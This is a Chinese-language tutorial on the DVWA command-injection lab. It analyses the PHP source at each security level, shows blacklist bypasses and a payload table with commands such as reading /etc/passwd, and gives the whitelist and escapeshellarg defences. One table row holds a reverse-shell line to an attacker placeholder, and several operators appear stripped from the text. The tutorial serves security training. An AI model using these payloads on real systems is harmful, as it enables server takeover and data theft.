DVWA从入门到精通(三):Command Injection(命令注入)

DVWA从入门到精通(三):Command Injection(命令注入) 摘要本文是《DVWA从入门到精通》系列的第三篇带你全面掌握Command Injection命令注入模块的攻防全流程。从命令注入的核心原理出发逐步讲解Low、Medium、High三个级别的攻击手法与源码分析并深入探讨Impossible级别的终极防御方案。文章包含命令连接符的详细讲解、黑名单绕过技巧、白名单防御原理以及PHP安全函数的使用方法让你真正做到“知其然更知其所以然”。一、什么是命令注入1.1 命令注入的核心原理命令注入Command Injection是指攻击者通过提交恶意构造的参数破坏命令语句的结构从而达到执行恶意系统命令的目的。它是PHP应用程序中常见的脚本漏洞之一。打个比方帮助理解想象一下你家的智能门锁本来只认你输入的特定密码来执行“开门”这个动作。但如果这个门锁的设计有缺陷它会把密码后面你胡乱加上的任何话都当成开门指令的一部分。比如你本来应该说“芝麻开门”结果你说成了“芝麻开门 把保险柜也打开”门锁居然真的把两件事都做了。命令注入就是这么回事。从技术角度来看命令注入漏洞的本质是应用程序将用户输入直接拼接到系统命令中而没有进行必要的验证或转义。攻击者可以通过注入命令分隔符、管道、重定向等特殊字符修改原始命令的意图执行额外的恶意命令。一个典型的漏洞场景$target $_GET[ip]; system(ping -c 4 . $target);用户输入127.0.0.1时系统执行ping -c 4 127.0.0.1。但如果用户输入的是127.0.0.1 cat /etc/passwd拼接后的命令就变成了ping -c 4 127.0.0.1 cat /etc/passwd在Linux/Unix的Shell中是命令连接符意思是“如果前面的命令执行成功则执行后面的命令”。于是cat /etc/passwd查看系统用户列表就会被执行。1.2 命令注入的危害命令注入的危害等级通常被认为是“高危”甚至“严重”因为一旦利用成功几乎等同于拿到了服务器的命令行访问权限。具体危害包括危害说明执行系统命令继承Web服务程序的权限执行任意系统命令读写文件读取敏感文件如/etc/passwd、数据库配置文件反弹Shell获取服务器的远程命令行控制权控制服务器完全控制整个网站甚至服务器内网渗透以服务器为跳板攻击内网其他机器1.3 命令连接符详解在命令注入中命令连接符是最核心的攻击武器。以下是常见的命令连接符及其功能连接符功能示例后台执行Linux/ 顺序执行Windowsping 127.0.0.1 whoami前面命令成功后才执行后面的命令短路与ping 127.0.0.1 whoami|将前一个命令的输出作为后一个命令的输入管道ping 127.0.0.1 | whoami||前面命令失败时才执行后面的命令短路或ping 127.0.0.1 || whoami;顺序执行多条命令Linuxping 127.0.0.1; whoami命令替换执行反引号内的命令ping 127.0.0.1 whoami$()命令替换执行括号内的命令ping 127.0.0.1 $(whoami)关键区别和是后台执行Linux或顺序执行Windows是有条件的执行前命令成功才执行后命令|和|||是管道传递输出||是有条件的执行前命令失败才执行后命令;在Linux下直接顺序执行在Windows CMD中不默认支持二、准备工作2.1 靶场环境确保DVWA已部署并正常运行访问地址http://你的服务器IP/dvwa/login.php使用admin/password登录。2.2 基础知识了解基本的Linux/Windows命令行操作熟悉常见的系统命令如whoami、id、cat、dir、ipconfig等2.3 必备工具浏览器Chrome / FirefoxF12开发者工具查看请求/响应Burp Suite用于抓包和修改请求参数三、Low级别毫无防护的“裸奔”状态3.1 安全级别设置将DVWA Security设置为Low级别然后进入Command Injection模块。3.2 界面观察Command Injection模块的界面非常简单——一个输入框和一个“Submit”按钮。页面上方提示“Enter an IP address”输入一个IP地址进行Ping测试。这个功能的本意是用户输入一个IP地址服务器执行ping命令然后返回Ping的结果。3.3 正常测试先输入一个正常的IP地址比如127.0.0.1点击提交。页面会返回类似这样的Ping结果3.4 源码分析点击页面底部的“View Source”按钮查看Low级别的核心代码?php if( isset( $_POST[ Submit ] ) ) { // Get input $target $_REQUEST[ ip ]; // Determine OS and execute the ping command. if( stristr( php_uname( s ), Windows NT ) ) { // Windows $cmd shell_exec( ping . $target ); } else { // *nix $cmd shell_exec( ping -c 4 . $target ); } // Feedback for the end user echo pre{$cmd}/pre; } ?这段代码存在致命的命令注入漏洞完全没有过滤$target直接获取用户输入未经任何验证或过滤直接拼接到系统命令用户输入被直接拼接到ping命令中结果回显命令执行的结果会直接显示在页面上方便攻击者确认攻击效果3.5 攻击方法利用命令连接符执行任意命令由于没有过滤攻击者可以使用任意命令连接符拼接恶意命令。示例1使用连接符Linux输入127.0.0.1 whoami实际执行的命令ping -c 4 127.0.0.1 whoamiping命令执行成功后whoami命令也会被执行显示当前Web服务器的运行用户通常是www或apache。示例2使用|管道符输入127.0.0.1 | id实际执行的命令ping -c 4 127.0.0.1 | idping的输出被传递给id命令id命令会显示当前用户的UID和GID信息。示例3读取敏感文件Linux输入127.0.0.1 cat /etc/passwd这会读取系统的用户账户文件。示例4Windows系统命令如果你的DVWA部署在Windows上可以使用127.0.0.1 ipconfig 127.0.0.1 dir常用攻击Payload汇总目标PayloadLinuxPayloadWindows查看当前用户127.0.0.1 whoami127.0.0.1 whoami查看系统信息127.0.0.1 uname -a127.0.0.1 systeminfo读取敏感文件127.0.0.1 cat /etc/passwd127.0.0.1 type C:\Windows\win.ini查看网络配置127.0.0.1 ifconfig127.0.0.1 ipconfig反弹Shell127.0.0.1 bash -i /dev/tcp/攻击IP/端口 01复杂需借助工具3.6 Low级别总结缺陷说明无任何输入过滤用户输入直接拼接到系统命令无任何转义处理特殊字符、|、;等未被处理结果回显命令执行结果直接显示在页面上高危漏洞可执行任意系统命令控制服务器四、Medium级别黑名单的“第一次尝试”4.1 安全级别设置将DVWA Security切换为Medium级别。4.2 观察变化在Medium级别下尝试输入127.0.0.1 whoami发现不再生效了。4.3 源码分析查看Medium级别的核心代码?php if( isset( $_POST[ Submit ] ) ) { // Get input $target $_REQUEST[ ip ]; // Set blacklist $substitutions array( , ; , ); // Remove any of the characters in the array (blacklist). $target str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( s ), Windows NT ) ) { // Windows $cmd shell_exec( ping . $target ); } else { // *nix $cmd shell_exec( ping -c 4 . $target ); } // Feedback for the end user echo pre{$cmd}/pre; } ?Medium级别的变化引入了黑名单机制使用str_replace函数将和;替换为空字符串黑名单非常有限只过滤了和;两个连接符4.4 黑名单的局限性黑名单防御的核心问题是你不可能列出所有可能的恶意输入。攻击者总能找到漏网之鱼。在Medium级别中虽然和;被过滤了但以下连接符仍然可用Windows下顺序执行Linux下后台执行|管道符||短路或4.5 攻击方法利用未过滤的连接符方法1使用连接符输入127.0.0.1 whoami没有被过滤命令成功执行。方法2使用|管道符输入127.0.0.1 | whoami|也没有被过滤命令成功执行。方法3使用||连接符输入127.0.0.1 || whoami由于ping 127.0.0.1会成功||后面的命令不会执行。但可以这样绕过不存在的IP || whoami4.6 Medium级别总结改进局限性黑名单过滤和;仅过滤了2个连接符其他连接符、|、||仍然可用使用str_replace替换仅替换一次不递归处理黑名单机制本身有缺陷攻击者总能找到未过滤的特殊字符五、High级别更全的黑名单但仍有漏洞5.1 安全级别设置将DVWA Security切换为High级别。5.2 源码分析查看High级别的核心代码?php if( isset( $_POST[ Submit ] ) ) { // Get input $target trim($_REQUEST[ ip ]); // Set blacklist $substitutions array( || , , ; , | , - , $ , ( , ) , , ); // Remove any of the characters in the array (blacklist). $target str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( s ), Windows NT ) ) { // Windows $cmd shell_exec( ping . $target ); } else { // *nix $cmd shell_exec( ping -c 4 . $target ); } // Feedback for the end user echo pre{$cmd}/pre; } ?High级别的变化黑名单更全面过滤了、;、|、-、$、(、)、、||等多个特殊字符仍然使用str_replace逐个替换不递归处理5.3 黑名单的致命缺陷仔细观察黑名单你会发现一个关键问题| , // 注意| 后面有一个空格黑名单中过滤的是|管道符空格而不是单独的|。这意味着如果攻击者输入127.0.0.1|whoami管道符后面没有空格str_replace就找不到匹配项不会进行替换。5.4 攻击方法利用黑名单的漏洞方法使用不带空格的|输入127.0.0.1|whoami由于黑名单中只有|带空格|不带空格不会被过滤命令成功执行。安全建议在实际开发中应该使用trim()函数删除字符串两端的空格或者在黑名单中同时包含带空格和不带空格的版本。5.5 High级别总结改进局限性黑名单更全面9个条目黑名单中存在空格问题|而非|覆盖了更多特殊字符仍然使用str_replace存在绕过可能黑名单机制本身有天然缺陷——总有遗漏六、Impossible级别终极防御方案6.1 安全级别设置将DVWA Security切换为Impossible级别。6.2 源码分析查看Impossible级别的核心代码?php if( isset( $_POST[ Submit ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // Get input $target $_REQUEST[ ip ]; $target stripslashes( $target ); // Split the IP into 4 octects $octet explode( ., $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) ( is_numeric( $octet[1] ) ) ( is_numeric( $octet[2] ) ) ( is_numeric( $octet[3] ) ) ( sizeof( $octet ) 4 ) ) { // If all 4 octets are ints put the IP back together. $target $octet[0] . . . $octet[1] . . . $octet[2] . . . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( s ), Windows NT ) ) { // Windows $cmd shell_exec( ping . $target ); } else { // *nix $cmd shell_exec( ping -c 4 . $target ); } // Feedback for the end user echo pre{$cmd}/pre; } else { // Ops. Let the user name theres a mistake echo preERROR: You have entered an invalid IP./pre; } } // Generate Anti-CSRF token generateSessionToken(); ?6.3 Impossible级别的防御体系Impossible级别构建了多层防御体系彻底杜绝了命令注入的可能性第一层白名单验证核心防御这是最关键的一层防御。代码将用户输入的字符串按.分割成四个部分然后逐个检查每个部分是否都是数字并且总共有4个部分。if( ( is_numeric( $octet[0] ) ) ( is_numeric( $octet[1] ) ) ( is_numeric( $octet[2] ) ) ( is_numeric( $octet[3] ) ) ( sizeof( $octet ) 4 ) ) { // 只有合法的IP地址才能进入 }为什么白名单比黑名单更安全对比黑名单白名单思路列出所有“坏”的字符只允许“好”的输入覆盖性总有遗漏只允许特定格式安全性低总有绕过方法高严格控制输入格式适用场景不推荐用于安全关键场景推荐用于安全关键场景白名单机制的核心思想是只允许已知的、安全的输入其他一切输入都被拒绝。第二层CSRF Token验证代码使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致。这防止了攻击者通过CSRF跨站请求伪造方式发起攻击。第三层输入清理使用stripslashes()去除输入中的反斜杠转义字符。第四层重新组合IP地址即使用户输入的IP地址通过了数字验证代码也会重新组合IP地址而不是直接使用用户输入$target $octet[0] . . . $octet[1] . . . $octet[2] . . . $octet[3];这确保了最终传递给shell_exec()的$target一定是一个合法的、只包含数字和点的IP地址绝无可能包含任何特殊字符。6.4 Impossible级别能否被绕过理论上几乎不可能。Impossible级别通过白名单验证彻底杜绝了命令注入的可能性。用户输入的任何非数字字符如、|、;、$等都会导致验证失败程序直接报错退出根本不会执行任何系统命令。即使攻击者输入127.0.0.1 whoami分割后的数组是[127, 0, 0, 1 whoami]第4个元素1 whoami不是数字验证失败攻击失败。6.5 Impossible级别总结防御层技术手段作用第一层白名单验证IP格式校验只允许合法的IP地址彻底阻断命令注入第二层CSRF Token验证防止跨站请求伪造攻击第三层stripslashes()清理去除转义字符第四层重新组合IP地址确保最终输入是纯净的IP地址七、防御命令注入的最佳实践通过DVWA四个级别的对比我们可以总结出防御命令注入的最佳实践7.1 必须实施的防御措施措施说明优先级白名单验证只允许特定格式的输入如IP地址、数字等⭐⭐⭐⭐⭐使用安全函数使用escapeshellarg()转义命令参数⭐⭐⭐⭐⭐避免执行外部命令尽量使用PHP内置函数替代系统命令调用⭐⭐⭐⭐参数化/结构化输入不要拼接字符串使用结构化方式构建命令⭐⭐⭐⭐7.2 推荐的辅助措施措施说明优先级最小权限原则Web服务器以最低权限运行降低攻击影响⭐⭐⭐⭐输入验证验证输入的格式、长度、类型⭐⭐⭐日志记录记录所有命令执行操作便于审计⭐⭐⭐禁用危险函数在php.ini中禁用shell_exec()、system()等函数⭐⭐⭐7.3 PHP安全函数详解escapeshellarg()函数escapeshellarg()是PHP提供的专门用于防御命令注入的函数。它会将字符串转义为安全的Shell参数。// 不安全的做法 $cmd shell_exec(ping -c 4 . $target); ​ // 安全的做法 $target_sanitized escapeshellarg($target); $cmd shell_exec(ping -c 4 . $target_sanitized);escapeshellarg()会将任何可能引起参数或命令结束的字符进行转义单引号转义为\双引号转义为\分号;转义为\;其他特殊字符也会被正确处理escapeshellcmd()函数escapeshellcmd()会把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义比如管道符|、分号;、重定向、从文件读入等。7.4 常见误区在实际开发中以下做法不能有效防御命令注入❌仅使用黑名单总有遗漏的字符或绕过方法❌仅使用str_replace()不递归、不全面❌依赖前端验证攻击者可以绕过前端直接发请求❌使用addslashes()不能完全防御Shell命令注入八、Windows与Linux的差异在实际的命令注入测试中需要注意操作系统之间的差异特性Linux/UnixWindowsPing命令参数ping -c 4 IPping IP命令分隔符;、、||、、|、、||、|;不默认支持换行符注入%0a可作为命令分隔符%0a无效敏感文件/etc/passwd、/etc/shadowC:\Windows\win.ini等用户信息命令whoami、id、uname -awhoami、systeminfo测试建议如果靶机是Linux优先使用;、、|、||和%0a如果靶机是Windows优先使用或|不确定操作系统时可以同时尝试多种连接符九、总结本文围绕命令注入漏洞展开系统学习我们先掌握其核心成因程序直接拼接用户输入至系统命令攻击者借助特殊拼接符号执行任意系统指令区分 、、|、||、;、、$() 等各类命令连接符的作用与差异再逐级实操分析 DVWA 四种安全等级Low 无过滤可直接注入命令Medium 仅黑名单拦截 、; 仍存在可绕过符号High 过滤带空格的 | 却遗漏无空格 | 造成防护失效Impossible 依靠输入白名单、CSRF Token、输入清洗实现完备防护同时梳理出白名单校验、escapeshellarg () 转义、服务器最小权限等防护手段。命令注入漏洞危害性极高被利用后攻击者可接管服务器借助 DVWA 命令注入模块我们兼顾攻击绕过思路与安全防御逻辑生产环境中采用白名单校验、尽量规避调用系统命令、遵循最小权限原则的多重防护方案能够从根源杜绝命令注入风险。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。